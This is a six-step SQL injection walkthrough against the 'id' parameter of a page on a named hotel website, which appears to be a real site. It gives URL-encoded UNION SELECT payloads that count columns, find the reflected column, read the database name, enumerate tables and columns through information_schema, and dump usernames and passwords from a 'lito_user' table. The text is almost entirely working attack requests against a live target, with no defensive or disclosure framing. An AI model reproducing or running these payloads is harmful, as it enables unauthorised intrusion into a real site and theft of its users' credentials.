

To find no. of column

Step 1: <http://www.hotelornate.com.pk/leftmenubody.php?id=2%20order%20by%208%20--+>

Check which column is vulnerable

Step 2: <http://www.hotelornate.com.pk/leftmenubody.php?id=-2%20union%20select%201,2,3,4,5,6,7,8%20--+>

Find data from column

Step 3: [http://www.hotelornate.com.pk/leftmenubody.php?id=-2%20union%20select%201,database\(\),3,4,5,6,7,8%20--+](http://www.hotelornate.com.pk/leftmenubody.php?id=-2%20union%20select%201,database(),3,4,5,6,7,8%20--+)

Find table name

Step 4: [http://www.hotelornate.com.pk/leftmenubody.php?id=-2%20union%20select%201,group_concat\(table_name\),3,4,5,6,7,8%20from%20information_schema.table_constraints%20--+](http://www.hotelornate.com.pk/leftmenubody.php?id=-2%20union%20select%201,group_concat(table_name),3,4,5,6,7,8%20from%20information_schema.table_constraints%20--+)

Find column name of the table

Step 5: [http://www.hotelornate.com.pk/leftmenubody.php?id=-2%20union%20select%201,group_concat\(column_name\),3,4,5,6,7,8%20from%20information_schema.columns%20where%20table_name=%27lito_user%27--+](http://www.hotelornate.com.pk/leftmenubody.php?id=-2%20union%20select%201,group_concat(column_name),3,4,5,6,7,8%20from%20information_schema.columns%20where%20table_name=%27lito_user%27--+)

Find data from table

Step 6: [http://www.hotelornate.com.pk/leftmenubody.php?id=-2%20union%20select%201,group_concat\(username,0x3a,password\),3,4,5,6,7,8%20from%20lito_user--+](http://www.hotelornate.com.pk/leftmenubody.php?id=-2%20union%20select%201,group_concat(username,0x3a,password),3,4,5,6,7,8%20from%20lito_user--+)